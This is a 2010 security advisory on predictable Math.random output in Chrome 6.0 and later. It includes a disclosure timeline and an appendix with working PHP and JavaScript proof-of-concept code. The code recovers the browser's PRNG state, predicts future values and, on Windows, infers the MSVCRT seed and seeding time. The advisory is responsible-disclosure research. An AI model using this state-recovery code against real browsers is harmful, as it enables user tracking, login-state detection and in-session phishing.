Google Chrome 6.0 and above Math.random vulnerability

Amit Klein

Research conducted: September 2010

Release to public: November 15th, 2010

Abstract

In Google Chrome 6.0, Math.random's implementation was slightly changed. This note explains the nature of the change and how the attacks in [1] can be modified accordingly to take effect on Chrome 6.0 and above (including Google Chrome 7.0).

Table of Contents

1. Introduction

This short write-up is a continuation of a research conducted earlier ([1],[2]), in which the security implications of Math.random predictability were discussed and were demonstrated for Google Chrome (versions 0.x-5.0 inclusive). In Chrome 6.0 Google revised the Math.random algorithm again, but this modification did not address the problem. In this paper, the revised Math.random implementation of Google Chrome 6.0 (more accurately, of Google Chrome's Javascript engine, V8) is described. The implications are similar to the ones described in [1] and [2] and therefore will not be discussed in depth here. The results apply to Google Chrome 6.0 and above (including Google Chrome 7.0).

2. Google Chrome 6.0 Beta and above (Google V8 2.2.2 and above) Math.random implementation and vulnerability

The new Math.random implementation was introduced in Google V8 version 2.2.2, as revision r4386 ([3]), whose description includes, among other things, "Push version 2.2.2 to trunk" and "Fixed random number generator to produce full 32 random bits". Version 2.2.2 of V8 is included in Google Chrome version 6.0.

The underlying algorithm is identical to that in Google Chrome 3.0-5.0 (see [1]), except that the 32 bit unsigned quantity is now used in fullness (before version 6.0, only the least significant 30 bits of this quantity were used). These 32 bits are divided by 2^{32} to obtain a value between 0 (inclusive) and 1 (not inclusive). Therefore, the original analysis in [1] is still relevant, with few modifications, namely now there's no need to sample 4 Math.random values – 2 values suffice.

3. Implications

All the implications described in [1] are applicable for Chrome 6.0 and 7.0 as well. Particularly, it is possible to detect log-in state, and as such to conduct "in session phishing" attacks.

4. Conclusions

While the new algorithm makes use of a good PRNG, it is none-the-less vulnerable to attacks. This is because what passes as a good PRNG is not necessarily a cryptographically-strong PRNG.

5. Vendor/product status

September 6th, 2010: disclosed to Google.

September 10th, 2010: discussions with Google security team conclude with the following:

- Google has no problems with Trusteer publishing its fundings.
- Google considers "window.crypto.random" (as opposed to Math.random) to be the preferred source of strong randomness for Javascript application. Note however that window.crypto is not a Javascript standard and of the major browsers, it is only supported by Mozilla Firefox at this time (http://code.google.com/p/doctype/wiki/WindowCryptoProperty).

November 15th, 2010: public release

6. References

[1] "Google Chrome 3.0 (Beta) Math.random vulnerability", Amit Klein, August 31st, 2009

http://www.trusteer.com/files/Google_Chrome_3.0_Beta_Math.random_vulnerability.pdf

[2] "Temporary user tracking in major browsers and Cross-domain information leakage and attacks", Amit Klein (Trusteer), June 8th, 2009

http://www.trusteer.com/files/Temporary_User_Tracking_in_Major_Browsers.pdf

[3] "r4386 – v8" (Google Code page), retrieved September 6th, 2010

http://code.google.com/p/v8/source/detail?r=4386

[4] "Re: Jetty Session ID Prediction" (BugTraq posting), Amit Klein, February 6th, 2007

http://www.securityfocus.com/archive/1/459283

Appendix – Mileage and seed time extraction (Windows)

The following PHP code can be used to extract the Math.random current internal state (cross platform), and its mileage and MSVCRT seeding time (Windows only). For simplicity, the MSVCRT state reconstruction is straight-forward, so a vast improvement in runtime can be achieved by using the technique described in [4].

```
<?php
define("MAX_JS_MILEAGE",10000);

$two_31=bcpow(2,31);
$two_32=bcpow(2,32);

function adv($x)
{
	global $two_31;
	return bcmod(bcadd(bcmul(214013,$x),"2531011"),$two_31);
}

function prev_state($state)
{
	global $two_31;

	// 968044885 * 214013 - 192946 * 1073741824 = 1
	$state=bcmod(bcsub(bcadd($state,$two_31),"2531011"),$two_31);
	$state=bcmod(bcmul("968044885",$state),$two_31);
	return $state;
}

if ($_REQUEST['r1'])
{
	$v1=$_REQUEST['r1'];
	$v2=$_REQUEST['r2'];
	$t=$_REQUEST['t'];

	$lo1low=bcmod($v1,65536);
	$lo2low=bcmod($v2,65536);
	$lo1high=bcmod(bcsub(bcadd($two_32,$lo2low),bcmul(18273,$lo1low)),65536);
	$lo1=bcadd(bcmul($lo1high,65536),$lo1low);
	$lo2=bcadd(bcmul(18273,bcmod($lo1,65536)),bcdiv($lo1,65536,0));

	$found_state=false;
	$hi1low=bcdiv($v1,65536,0);
	$hi2low=bcdiv($v2,65536,0);
	$hi1high=bcmod(bcsub(bcadd($two_32,$hi2low),bcmul(36969,$hi1low)),65536);
	if (bccomp($hi1high,36969)!=-1)
	{
		echo "oops<br>";
		exit;
	}
	$hi1=bcadd(bcmul($hi1high,65536),$hi1low);
	$hi2=bcadd(bcmul(36969,bcmod($hi1,65536)),bcdiv($hi1,65536,0));

	if ((bccomp($v1,bcadd(bcmul(bcmod($hi1,65536),65536),bcmod($lo1,65536)))==0)
and

	(bccomp($v2,bcadd(bcmul(bcmod($hi2,65536),65536),bcmod($lo2,65536)))==0))
	{
		$found_state=true;
	}


	if (!$found_state)
	{
```

```
                echo "ERROR: cannot find PRNG state (is this really Chrome 6.0 and
above?)   <br>\n";
                exit;
        }

        echo "Math.random PRNG current state: hi=$hi2 lo=$lo2    <br>\n";
        $lo3=bcadd(bcmul(18273,bcmod($lo2,65536)),bcdiv($lo2,65536,0));
        $hi3=bcadd(bcmul(36969,($hi2 & 0xFFFF)),bcdiv($hi2,65536,0))+0;
        $v3=bcadd(bcmul(bcmod($hi3,65536),65536),bcmod($lo3,65536));
        echo "Math.random next value:
<script>document.write($v3/Math.pow(2,32));</script>    <br>\n";

        echo "    <br>\n";
        echo "NOTE: Anything below this line is available only for Windows.    <br>\n";
        echo "    <br>\n";
        # Rollback
        $lo=$lo1;
        $hi=$hi1;
        $found_initial_state=false;
        for ($mileage=0;$mileage<MAX_JS_MILEAGE;$mileage++)
        {
                $lo_prev_low=bcdiv($lo,18273,0);
                $lo_prev_high=bcmod($lo,18273);
                $lo=bcadd(bcmul($lo_prev_high,65536),$lo_prev_low);

                $hi_prev_low=bcdiv($hi,36969,0);
                $hi_prev_high=bcmod($hi,36969);
                $hi=bcadd(bcmul($hi_prev_high,65536),$hi_prev_low);

                if ((bcdiv($hi,32768,0)==0) and (bcdiv($lo,32768,0)==0))
                {
                        echo "Math.random PRNG initial state: hi=$hi lo=$lo    <br>\n";
                        echo "Math.random PRNG mileage: $mileage [Math.random()
invocations]    <br>\n";
                        $found_initial_state=true;
                        break;
                }
        }

        if ($found_initial_state)
        {
                echo "<br>";

                $first=$hi+0;
                $second=$lo+0;

                $cand=array();
                for ($v=0;$v<(1<<16);$v++)
                {
                        $state=($first<<16)|$v;
                        $state=adv($state);
                        if ((($state>>16)&0x7FFF)==$second)
                        {
                                $state=prev_state(($first<<16)|$v);

        $seed_time=bcadd(bcmul(bcdiv(bcmul($t,1000),$two_31,0),$two_31),$state);
                                if (bccomp($seed_time,bcmul($t,1000))==1)
                                {
                                        $seed_time=bcsub($seed_time,$two_31);
                                }
                                $cand[$seed_time]=$state;
                        }
                }

                # reverse sort by seed_time key (string comparison - but since 2002,
second-since-Epoch are 10 digits exactly, so string comparison=numeric comparison)
                krsort($cand);

                echo count($cand)." candidate(s) for MSVCRT seed and seeding time, from
most likely to least likely:    <br>\n";
                echo "<code>\n";
                echo "<table>\n";
                echo "<tr>\n";
```

```
                echo "    <td><b>MSVCRT PRNG Seeding time [sec] </b></td>\n";
                echo "    <td><b>MSVCRT PRNG Seeding time [UTC date] </b></td>";
                echo "    <td><b>MSVCRT PRNG seed</b></td>\n";
                echo "</tr>\n";
                $cn=0;
                foreach ($cand as $seed_time => $st)
                {
                        if ($cn==0)
                        {
                                $pre="<u>";
                                $post="</u>";
                        }
                        else
                        {
                                $pre="<i>";
                                $post="</i>";
                        }
                        echo "<tr>\n";
                        echo "    <td>".$pre.substr_replace($seed_time,".",-
3,0).$post."</td>\n";
                        echo "
<td>".$pre.gmdate("r",bcdiv($seed_time,1000)).$post."</td>\n";
                        echo "    <td>".$pre.$st.$post."</td>\n";
                        echo "</tr>\n";
                        $cn++;
                }
                echo "</table>\n";
                echo "</code>\n";
                echo "    <br>\n";
        }
        else
        {
                echo "ERROR: Cannot find Math.random initial state (non-Windows
platform?)    <br>\n";
        }
}
?>
<html>
<body>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r1">
<input type="hidden" name="r2">
<input type="hidden" name="t">
<input type="submit" name="dummy" value="Calculate Chrome 6.0 and above (Windows)
Math.random PRNG state, mileage and MSVCRT seed and seeding time">
</form>
<script>
function f()
{
        document.forms[0].r1.value=Math.random()*Math.pow(2,32);
        document.forms[0].r2.value=Math.random()*Math.pow(2,32);
        document.forms[0].t.value=(new Date()).getTime()/1000;
        return true;
}
</script>

<form onSubmit="alert(Math.random());return false;">
<input type="submit" name="dummy" value="Sample Math.random()">
</form>

</body>
</html>
```